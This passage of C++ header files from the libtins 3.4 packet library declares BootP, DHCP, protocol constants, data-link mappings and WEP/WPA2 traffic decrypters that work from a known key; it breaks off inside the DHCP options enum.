new_file); /** * \brief Setter for the vend field. * \param newvend_ The vend to be set. */ void vend(const vend_type& newvend_); /** * \brief Check whether ptr points to a valid response for this PDU. * * This returns true if the xid field is equal. * * \sa PDU::matches_response * \param ptr The pointer to the buffer. * \param total_sz The size of the buffer. */ bool matches_response(const uint8_t* ptr, uint32_t total_sz) const; /** * \brief Getter for the PDU's type. * \sa PDU::pdu_type */ PDUType pdu_type() const { return pdu_flag; } /** * \sa PDU::clone */ BootP* clone() const { return new BootP(*this); } protected: /** * \brief Getter for the vend field. * * This getter can be used by subclasses to avoid copying the * vend field around. * * \return The vend field for this BootP PDU. */ vend_type& vend() { return vend_; } void write_serialization(uint8_t* buffer, uint32_t total_sz, const PDU* parent); /** * Struct that represents the Bootp datagram. */ TINS_BEGIN_PACK struct bootp_header { uint8_t opcode; uint8_t htype; uint8_t hlen; uint8_t hops; uint32_t xid; uint16_t secs; uint16_t padding; uint32_t ciaddr; uint32_t yiaddr; uint32_t siaddr; uint32_t giaddr; uint8_t chaddr[16]; uint8_t sname[64]; uint8_t file[128]; } TINS_END_PACK; private: bootp_header bootp_; vend_type vend_; }; } // Tins #endif // TINS_BOOTP_H libtins-3.4/include/tins/config.h.in000066400000000000000000000011261267017344500174600ustar00rootroot00000000000000#ifndef TINS_CONFIG_H #define TINS_CONFIG_H /* Define if the compiler supports basic C++11 syntax */ #cmakedefine TINS_HAVE_CXX11 /* Have IEEE 802.11 support */ #cmakedefine TINS_HAVE_DOT11 /* Have WPA2 decryption library */ #cmakedefine TINS_HAVE_WPA2_DECRYPTION /* Use pcap_sendpacket to send l2 packets */ #cmakedefine TINS_HAVE_PACKET_SENDER_PCAP_SENDPACKET /* Have TCP ACK tracking */ #cmakedefine TINS_HAVE_ACK_TRACKER /* Have GCC builtin swap */ #cmakedefine TINS_HAVE_GCC_BUILTIN_SWAP /* Have WPA2Decrypter callbacks */ #cmakedefine TINS_HAVE_WPA2_CALLBACKS #endif // TINS_CONFIG_H libtins-3.4/include/tins/constants.h000066400000000000000000000151631267017344500176300ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_CONSTANTS_H #define TINS_CONSTANTS_H namespace Tins { /** * \brief Constants used in protocols. */ namespace Constants { /** \cond */ struct IP { /** \endcond */ enum e { PROTO_IP = 0, // Dummy protocol for TCP. PROTO_HOPOPTS = 0, // IPv6 Hop-by-Hop options. PROTO_ICMP = 1, // Internet Control Message Protocol. PROTO_IGMP = 2, // Internet Group Management Protocol. PROTO_IPIP = 4, // IPIP tunnels (older KA9Q tunnels use 94). PROTO_TCP = 6, // Transmission Control Protocol. PROTO_EGP = 8, // Exterior Gateway Protocol. PROTO_PUP = 12, // PUP protocol. PROTO_UDP = 17, // User Datagram Protocol. PROTO_IDP = 22, // XNS IDP protocol. PROTO_TP = 29, // SO Transport Protocol Class 4. PROTO_DCCP = 33, // Datagram Congestion Control Protocol. PROTO_IPV6 = 41, // IPv6 header. PROTO_ROUTING = 43, // IPv6 routing header. PROTO_FRAGMENT = 44, // IPv6 fragmentation header. PROTO_RSVP = 46, // Reservation Protocol. PROTO_GRE = 47, // General Routing Encapsulation. PROTO_ESP = 50, // encapsulating security payload. PROTO_AH = 51, // authentication header. PROTO_ICMPV6 = 58, // ICMPv6. PROTO_NONE = 59, // IPv6 no next header. PROTO_DSTOPTS = 60, // IPv6 destination options. PROTO_MTP = 92, // Multicast Transport Protocol. PROTO_ENCAP = 98, // Encapsulation Header. PROTO_PIM = 103, // Protocol Independent Multicast. PROTO_COMP = 108, // Compression Header Protocol. PROTO_SCTP = 132, // Stream Control Transmission Protocol. PROTO_UDPLITE = 136, // UDP-Lite protocol. PROTO_RAW = 255 // Raw IP packets. }; }; struct Ethernet { enum e { UNKNOWN = 0, SPRITE = 0x0500, // Sprite IP = 0x0800, // IP ARP = 0x0806, // Address resolution MPLS = 0x8847, // MPLS REVARP = 0x8035, // Reverse ARP AT = 0x809B, // AppleTalk protocol AARP = 0x80F3, // AppleTalk ARP VLAN = 0x8100, // IEEE 802.1Q VLAN tagging QINQ = 0x88a8, // IEEE 802.1ad VLAN tagging OLD_QINQ = 0x9100, // IEEE 802.1ad VLAN tagging (old, deprecated, value) IPX = 0x8137, // IPX IPV6 = 0x86dd, // IP protocol version 6 PPPOED = 0x8863, // PPPoE Discovery PPPOES = 0x8864, // PPPoE Session EAPOL = 0x888e, // EAPOL LOOPBACK = 0x9000 // used to test interfaces }; }; struct ARP { enum e { NETROM = 0, // From KA9Q: NET/ROM pseudo. ETHER = 1, // Ethernet 10/100Mbps. EETHER = 2, // Experimental Ethernet. AX25 = 3, // AX.25 Level 2. PRONET = 4, // PROnet token ring. CHAOS = 5, // Chaosnet. IEEE802 = 6, // IEEE 802.2 Ethernet/TR/TB. ARCNET = 7, // ARCnet. APPLETLK = 8, // APPLEtalk. DLCI = 15, // Frame Relay DLCI. ATM = 19, // ATM. METRICOM = 23, // Metricom STRIP (new IANA id). IEEE1394 = 24, // IEEE 1394 IPv4 - RFC 2734. EUI64 = 27, // EUI-64. INFINIBAND = 32, // InfiniBand. SLIP = 256, CSLIP = 257, SLIP6 = 258, CSLIP6 = 259, RSRVD = 260, // Notional KISS type. ADAPT = 264, ROSE = 270, X25 = 271, // CCITT X.25. HWX25 = 272, // Boards with X.25 in firmware. PPP = 512, CISCO = 513, // Cisco HDLC. HDLC = CISCO, LAPB = 516, // LAPB. DDCMP = 517, // Digital's DDCMP. RAWHDLC = 518, // Raw HDLC. TUNNEL = 768, // IPIP tunnel. TUNNEL6 = 769, // IPIP6 tunnel. FRAD = 770, // Frame Relay Access Device. SKIP = 771, // SKIP vif. LOOPBACK = 772, // Loopback device. LOCALTLK = 773, // Localtalk device. FDDI = 774, // Fiber Distributed Data Interface. BIF = 775, // AP1000 BIF. SIT = 776, // sit0 device - IPv6-in-IPv4. IPDDP = 777, // IP-in-DDP tunnel. IPGRE = 778, // GRE over IP. PIMREG = 779, // PIMSM register interface. HIPPI = 780, // High Performance Parallel I'face. ASH = 781, // (Nexus Electronics) Ash. ECONET = 782, // Acorn Econet. IRDA = 783, // Linux-IrDA. FCPP = 784, // Point to point fibrechanel. FCAL = 785, // Fibrechanel arbitrated loop. FCPL = 786, // Fibrechanel public loop. FCFABRIC = 787, // Fibrechanel fabric. IEEE802_TR = 800, // Magic type ident for TR. IEEE80211 = 801, // IEEE 802.11. IEEE80211_PRISM = 802, // IEEE 802.11 + Prism2 header. IEEE80211_RADIOTAP = 803, // IEEE 802.11 + radiotap header. IEEE802154 = 804, // IEEE 802.15.4 header. IEEE802154_PHY = 805, // IEEE 802.15.4 PHY header. VOID_TYPE = 0xFFFF, // Void type, nothing is known. NONE = 0xFFFE // Zero header length. }; }; } // Constants } // Tins #endif // TINS_CONSTANTS_H libtins-3.4/include/tins/crypto.h000066400000000000000000000451031267017344500171310ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #include "config.h" #if !defined(TINS_CRYPTO_H) && defined(TINS_HAVE_DOT11) #define TINS_CRYPTO_H #include #include #include #include #ifdef TINS_HAVE_WPA2_CALLBACKS #include #endif // TINS_HAVE_WPA2_CALLBACKS #include "utils.h" #include "snap.h" #include "rawpdu.h" #include "macros.h" #include "handshake_capturer.h" namespace Tins { class PDU; class Dot11; class Dot11Data; namespace Crypto { struct RC4Key; #ifdef TINS_HAVE_WPA2_DECRYPTION namespace WPA2 { /** * \brief Class that represents the keys used to decrypt a session. */ class TINS_API SessionKeys { public: /** * The size of the Pairwise Master Key. */ static const size_t PMK_SIZE; /** * The size of the Pairwise Transient Key. */ static const size_t PTK_SIZE; /** * The type used to hold the PTK (this has to be PTK_SIZE bytes long). */ typedef std::vector ptk_type; /** * The type used to hold the PMK (this has to be PMK_SIZE bytes long). */ typedef std::vector pmk_type; /** * Default constructs a SessionKeys object. */ SessionKeys(); /** * \brief Constructs an instance using the provided PTK and a flag * indicating whether it should use ccmp. * * \param ptk The PTK to use. * \param is_ccmp Indicates whether to use CCMP to decrypt this traffic. */ SessionKeys(const ptk_type& ptk, bool is_ccmp); /** * \brief Constructs an instance using a handshake and a PMK. * * This will internally construct the PTK from the input parameters. * * \param hs The handshake to use. * \param pmk The PMK to use. */ SessionKeys(const RSNHandshake& hs, const pmk_type& pmk); /** * \brief Decrypts a unicast packet. * * \param dot11 The encrypted packet to decrypt. * \param raw The raw layer on the packet to decrypt. * \return A SNAP layer containing the decrypted traffic or a null pointer * if decryption failed. */ SNAP* decrypt_unicast(const Dot11Data& dot11, RawPDU& raw) const; /** * \brief Gets the PTK for this session keys. * \return The Pairwise Transcient Key. */ const ptk_type& get_ptk() const; /** * \brief Indicates whether CCMP is used to decrypt packets * /return true iff CCMP is used. */ bool uses_ccmp() const; private: SNAP* ccmp_decrypt_unicast(const Dot11Data& dot11, RawPDU& raw) const; SNAP* tkip_decrypt_unicast(const Dot11Data& dot11, RawPDU& raw) const; RC4Key generate_rc4_key(const Dot11Data& dot11, const RawPDU& raw) const; ptk_type ptk_; bool is_ccmp_; }; /** * \brief Represents a WPA2 supplicant's data. * * Objects of this class can be given the pre-shared key and the SSID * of some access point, and this will generate the Pairwise Master Key * from those parameters. */ class TINS_API SupplicantData { public: /** * The type used to store the PMK. */ typedef SessionKeys::pmk_type pmk_type; /** * \brief Constructs a SupplicantData. * \param psk The pre-shared key. * \param ssid The access point's SSID. */ SupplicantData(const std::string& psk, const std::string& ssid); /** * \brief Getter for the PMK. * \return The generated PMK. */ const pmk_type& pmk() const; /** * \brief Getter for the SSID * \return The access point's SSID */ const std::string& ssid() const; private: pmk_type pmk_; std::string ssid_; }; } // WPA2 #endif // TINS_HAVE_WPA2_DECRYPTION /** * \brief RC4 Key abstraction. */ struct RC4Key { static const size_t data_size = 256; /** * \brief Initializes the key using the provided iterator range. * * \param start The start of the range. * \param end The end of the range. */ template RC4Key(ForwardIterator start, ForwardIterator end); /** * The actual key data. */ uint8_t data[data_size]; }; /** * \brief Decrypts WEP-encrypted traffic. */ class TINS_API WEPDecrypter { public: typedef HWAddress<6> address_type; /** * \brief Constructs a WEPDecrypter object. */ WEPDecrypter(); /** * \brief Adds a decryption password. * * \param addr The access point's BSSID. * \param password The password which will be used to decrypt * packets sent from and to the AP identifier by the BSSID addr. */ void add_password(const address_type& addr, const std::string& password); /** * \brief Removes a decryption password * * \param addr The BSSID of the access point. */ void remove_password(const address_type& addr); /** * \brief Decrypts the provided PDU. * * A Dot11Data PDU is looked up inside the provided PDU chain. * If no such PDU exists or there is no password associated * with the Dot11 packet's BSSID, then the PDU is left intact. * * Otherwise, the packet is decrypted using the given password. * If the CRC found after decrypting is invalid, false is * returned. * * \return false if no decryption was performed or decryption * failed, true otherwise. */ bool decrypt(PDU& pdu); private: typedef std::map passwords_type; PDU* decrypt(RawPDU& raw, const std::string& password); passwords_type passwords_; std::vector key_buffer_; }; #ifdef TINS_HAVE_WPA2_DECRYPTION /** * \brief Decrypts WPA2-encrypted traffic. * * This class takes valid PSK and SSID tuples, captures client handshakes, * and decrypts their traffic afterwards. */ class TINS_API WPA2Decrypter { public: /* * \brief The type used to store Dot11 addresses. */ typedef HWAddress<6> address_type; /** * \brief Represents a pair of mac addresses. * * This is used to identify a host and the access point to which * it is connected. The first element in the pair will always de * lower or equal than the second one, so that given any host and * the access point it's connected to, we can uniquely identify * it with an address pair. */ typedef std::pair addr_pair; /** * \brief Maps an address pair to the session keys. * * This type associates an address pair (host, access point) with the * session keys, as generated using the packets seen on a handshake. * * \sa addr_pair */ typedef std::map keys_map; #ifdef TINS_HAVE_WPA2_CALLBACKS /** * \brief The type used to store the callback type used when a new access * point is found. * * The first argument to the function will be the access point's SSID and * the second one its BSSID. */ typedef std::function ap_found_callback_type; /** * The type used to store the callback type used when a new handshake * is captured. * * The first argument to the function will be the access point's SSID and * the second one its BSSID. The third argument will be the client's hardware * address. */ typedef std::function handshake_captured_callback_type; #endif // TINS_HAVE_WPA2_CALLBACKS /** * \brief Adds an access points's information. * * This associates an SSID with a PSK, and allows the decryption of * any BSSIDs that broadcast the same SSID. * * The decrypter will inspect beacon frames, looking for SSID tags * that contain the given SSID. * * Note that using this overload, the decryption of data frames and * handshake capturing will be disabled until any access point * broadcasts the provided SSID(this shouldn't take long at all). * If this is not the desired behaviour, then you should check out * the ovther add_ap_data overload. * * \param psk The PSK associated with the SSID. * \param ssid The network's SSID. */ void add_ap_data(const std::string& psk, const std::string& ssid); /** * \brief Adds a access points's information, including its BSSID. * * This overload can be used if the BSSID associated with this SSID is * known beforehand. The addr parameter indicates which specific BSSID * is associated to the SSID. * * Note that if any other access point broadcasts the provided SSID, * it will be taken into account as well. * * \param psk The PSK associated with this SSID. * \param ssid The network's SSID. * \param addr The access point's BSSID. */ void add_ap_data(const std::string& psk, const std::string& ssid, const address_type& addr); /** * \brief Explicitly add decryption keys. * * This method associates a pair (host, access point) with the given decryption keys. * All encrypted packets sent between the given addresses will be decrypted using the * provided keys. * * This method shouldn't normally be required. The WPA2Decrypter will be waiting for * handshakes and will automatically extract the session keys, decrypting all * encrypted packets with them. You should only use this method if for some reason * you know the actual keys being used (because you checked and stored the keys_map * somewhere). * * The actual order of the addresses doesn't matter, this method will make sure * they're sorted. * * \param addresses The address pair (host, access point) to associate. * \param session_keys The keys to use when decrypting messages sent between the * given addresses. */ void add_decryption_keys(const addr_pair& addresses, const WPA2::SessionKeys& session_keys); /** * \brief Decrypts the provided PDU. * * A Dot11Data PDU is looked up inside the provided PDU chain. * If no such PDU exists or no PSK was associated with the SSID * broadcasted by the Dot11 packet's BSSID, or no EAPOL handshake * was captured for the client involved in the communication, * then the PDU is left intact. * * Otherwise, the packet is decrypted using the generated PTK. * If the resulting MIC is invalid, then the packet is left intact. * * \return false if no decryption was performed, or the decryption * failed, true otherwise. */ bool decrypt(PDU& pdu); #ifdef TINS_HAVE_WPA2_CALLBACKS /** * \brief Sets the handshake captured callback * * This callback will be executed every time a new handshake is captured. * * \sa handshake_captured_callback_type * \param callback The new callback to be set */ void handshake_captured_callback(const handshake_captured_callback_type& callback); /** * \brief Sets the access point found callback * * This callback will be executed every time a new access point is found, that's * advertising an SSID added when calling add_ap_data. * * \sa ap_found_callback_type * \param callback The new callback to be set */ void ap_found_callback(const ap_found_callback_type& callback); #endif // TINS_HAVE_WPA2_CALLBACKS /** * \brief Getter for the keys on this decrypter * * The returned map will be populated every time a new, complete, handshake * is captured. * * \return The WPA2Decrypter keys map. */ const keys_map& get_keys() const; private: typedef std::map pmks_map; typedef std::map bssids_map; void try_add_keys(const Dot11Data& dot11, const RSNHandshake& hs); addr_pair make_addr_pair(const address_type& addr1, const address_type& addr2) { return (addr1 < addr2) ? std::make_pair(addr1, addr2) : std::make_pair(addr2, addr1); } addr_pair extract_addr_pair(const Dot11Data& dot11); addr_pair extract_addr_pair_dst(const Dot11Data& dot11); bssids_map::const_iterator find_ap(const Dot11Data& dot11); void add_access_point(const std::string& ssid, const address_type& addr); RSNHandshakeCapturer capturer_; pmks_map pmks_; bssids_map aps_; keys_map keys_; #ifdef TINS_HAVE_WPA2_CALLBACKS handshake_captured_callback_type handshake_captured_callback_; ap_found_callback_type ap_found_callback_; #endif // TINS_HAVE_WPA2_CALLBACKS }; #endif // TINS_HAVE_WPA2_DECRYPTION /** * \brief Pluggable decrypter object which can be used to decrypt * data on sniffing sessions. * * This class holds a decrypter object and a functor, and implements * a suitable operator() to be used on BaseSniffer::sniff_loop, which * decrypts packets and forwards them to the given functor. */ template class DecrypterProxy { public: /** * The type of the functor object. */ typedef Functor functor_type; /** * The type of the decrypter object. */ typedef Decrypter decrypter_type; /** * \brief Constructs an object from a functor and a decrypter. * \param func The functor to be used to forward decrypted * packets. * \param decrypter The decrypter which will be used to decrypt * packets */ DecrypterProxy(const functor_type& func, const decrypter_type& decr = decrypter_type()); /** * \brief Retrieves a reference to the decrypter object. */ decrypter_type& decrypter(); /** * \brief Retrieves a const reference to the decrypter object. */ const decrypter_type& decrypter() const; /** * \brief The operator() which decrypts packets and forwards * them to the functor. */ bool operator() (PDU& pdu); private: Functor functor_; decrypter_type decrypter_; }; /** * \brief Performs RC4 encription/decryption of the given byte range, * using the provided key. * * The decrypted range will be copied to the OutputIterator provided. * * \param start The beginning of the range. * \param start The end of the range. * \param key The key to be used. * \param output The iterator in which to write the output. */ template void rc4(ForwardIterator start, ForwardIterator end, RC4Key& key, OutputIterator output); /** * \brief Wrapper function to create a DecrypterProxy using a * WEPDecrypter as the Decrypter template parameter. * * \param functor The functor to be forwarded to the DecrypterProxy * constructor. */ template DecrypterProxy make_wep_decrypter_proxy(const Functor& functor); #ifdef TINS_HAVE_WPA2_DECRYPTION /** * \brief Wrapper function to create a DecrypterProxy using a * WPA2Decrypter as the Decrypter template parameter. * * \param functor The functor to be forwarded to the DecrypterProxy * constructor. */ template DecrypterProxy make_wpa2_decrypter_proxy(const Functor& functor) { return DecrypterProxy(functor); } #endif // TINS_HAVE_WPA2_DECRYPTION // Implementation section // DecrypterProxy template DecrypterProxy::DecrypterProxy(const functor_type& func, const decrypter_type& decr) : functor_(func), decrypter_(decr) { } template typename DecrypterProxy::decrypter_type & DecrypterProxy::decrypter() { return decrypter_; } template const typename DecrypterProxy::decrypter_type & DecrypterProxy::decrypter() const { return decrypter_; } template bool DecrypterProxy::operator() (PDU& pdu) { return decrypter_.decrypt(pdu) ? functor_(pdu) : true; } template DecrypterProxy make_wep_decrypter_proxy(const Functor& functor) { return DecrypterProxy(functor); } // RC4 stuff template RC4Key::RC4Key(ForwardIterator start, ForwardIterator end) { for (size_t i = 0; i < data_size; ++i) { data[i] = static_cast(i); } size_t j = 0; ForwardIterator iter = start; for (size_t i = 0; i < data_size; ++i) { j = (j + data[i] + *iter++) % 256; if(iter == end) { iter = start; } std::swap(data[i], data[j]); } } template void rc4(ForwardIterator start, ForwardIterator end, RC4Key& key, OutputIterator output) { size_t i = 0, j = 0; while (start != end) { i = (i + 1) % RC4Key::data_size; j = (j + key.data[i]) % RC4Key::data_size; std::swap(key.data[i], key.data[j]); *output++ = *start++ ^ key.data[(key.data[i] + key.data[j]) % RC4Key::data_size]; } } } // Crypto } // Tins #endif // TINS_CRYPTO_H libtins-3.4/include/tins/cxxstd.h000066400000000000000000000040121267017344500171200ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_CXXSTD_H #define TINS_CXXSTD_H #include "config.h" #include #ifdef __GXX_EXPERIMENTAL_CXX0X__ #define TINS_CXXSTD_GCC_FIX 1 #else #define TINS_CXXSTD_GCC_FIX 0 #endif // __GXX_EXPERIMENTAL_CXX0X__ #if !defined(TINS_IS_CXX11) && defined(TINS_HAVE_CXX11) #define TINS_IS_CXX11 (__cplusplus > 199711L || TINS_CXXSTD_GCC_FIX == 1 || _MSC_VER >= 1800) #elif !defined(TINS_IS_CXX11) #define TINS_IS_CXX11 0 #endif // TINS_IS_CXX11 namespace Tins{ namespace Internals { template struct smart_ptr { #if TINS_IS_CXX11 typedef std::unique_ptr type; #else typedef std::auto_ptr type; #endif }; } } #endif // TINS_CXXSTD_H libtins-3.4/include/tins/data_link_type.h000066400000000000000000000051211267017344500205740ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_DATA_LINK_TYPE_H #define TINS_DATA_LINK_TYPE_H #include namespace Tins { class EthernetII; class RadioTap; class Dot11; class Dot3; class SLL; class Loopback; class PPI; /** * \struct DataLinkType * \brief Maps a libtins link layer PDU to a libpcap data link identifier. * * This is an empty class that should be instantiated with any object that * represents a link layer PDU (EthernetII, Dot11, RadioTap, etc): * * \code * // Instantiate it and pass it to PacketWriter's constructor. * PacketWriter writer("file.pcap", DataLinkType()); * \endcode */ template struct DataLinkType; #define TINS_MAKE_DATA_LINK_TYPE(tins_type, pcap_type) \ template<> \ struct DataLinkType { \ static const int type = pcap_type; \ int get_type() const { \ return type; \ } \ }; TINS_MAKE_DATA_LINK_TYPE(EthernetII, DLT_EN10MB) TINS_MAKE_DATA_LINK_TYPE(Dot3, DLT_EN10MB) TINS_MAKE_DATA_LINK_TYPE(SLL, DLT_LINUX_SLL) TINS_MAKE_DATA_LINK_TYPE(Loopback, DLT_LOOP) TINS_MAKE_DATA_LINK_TYPE(PPI, DLT_PPI) TINS_MAKE_DATA_LINK_TYPE(Dot11, DLT_IEEE802_11) TINS_MAKE_DATA_LINK_TYPE(RadioTap, DLT_IEEE802_11_RADIO) #undef TINS_MAKE_DATA_LINK_TYPE } // Tins #endif // TINS_DATA_LINK_TYPE_H libtins-3.4/include/tins/dhcp.h000066400000000000000000000341461267017344500165340ustar00rootroot00000000000000/* * Copyright (c) 2016, Matias Fontanini * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * */ #ifndef TINS_DHCP_H #define TINS_DHCP_H #include #include #include #include "bootp.h" #include "macros.h" #include "pdu_option.h" #include "cxxstd.h" namespace Tins { /** * \class DHCP * \brief Represents the DHCP PDU. * * This class represents a DHCP PDU. It contains helpers methods * which make it easy to set/get specific option values. * * Note that when adding options, the "End" option is not added * automatically, so you will have to add it yourself. * * Options can be retrieved easily from DHCP PDUs: * * \code * // Sniff a packet from somewhere * DHCP dhcp = get_dhcp_from_somewhere(); * * // This retrieves the Domain Name Servers option and converts * // it to a std::vector. Note that if this option * // is not present, an option_not_found exception is thrown. * for(const auto& address : dhcp.domain_name_servers()) { * // address is an ip * } * * \endcode */ class TINS_API DHCP : public BootP { public: /** * This PDU's flag. */ static const PDU::PDUType pdu_flag = PDU::DHCP; /** * DHCP flags. */ enum Flags { DISCOVER = 1, OFFER = 2, REQUEST = 3, DECLINE = 4, ACK = 5, NAK = 6, RELEASE = 7, INFORM = 8 }; /** * \brief DHCP options enum. */ enum OptionTypes { PAD, SUBNET_MASK, TIME_OFFSET, ROUTERS, TIME_SERVERS, NAME_SERVERS, DOMAIN_NAME_SERVERS, LOG_SERVERS, COOKIE_SERVERS, LPR_SERVERS, IMPRESS_SERVERS, RESOURCE_LOCATION_SERVERS, HOST_NAME, BOOT_SIZE, MERIT_DUMP, DOMAIN_NAME, SWAP_SERVER, ROOT_PATH, EXTENSIONS_PATH, IP_FORWARDING, NON_LOCAL_SOURCE_ROUTING, POLICY_FILTER, MAX_DGRAM_REASSEMBLY, DEFAULT_IP_TTL, PATH_MTU_AGING_TIMEOUT, PATH_MTU_PLATEAU_TABLE, INTERFACE_MTU, ALL_SUBNETS_LOCAL, BROADCAST_ADDRESS, PERFORM_MASK_DISCOVERY, MASK_SUPPLIER, ROUTER_DISCOVERY, ROUTER_SOLICITATION_ADDRESS, STATIC_ROUTES, TRAILER_ENCAPSULATION, ARP_CACHE_TIMEOUT, IEEE802_3_ENCAPSULATION, DEFAULT_TCP_TTL, TCP_KEEPALIVE_INTERVAL, TCP_KEEPALIVE_GARBAGE, NIS_DOMAIN, NIS_SERVERS, NTP_SERVERS, VENDOR_ENCAPSULATED_OPTIONS, NETBIOS_NAME_SERVERS, NETBIOS_DD_SERVER, NETBIOS_NODE_TYPE, 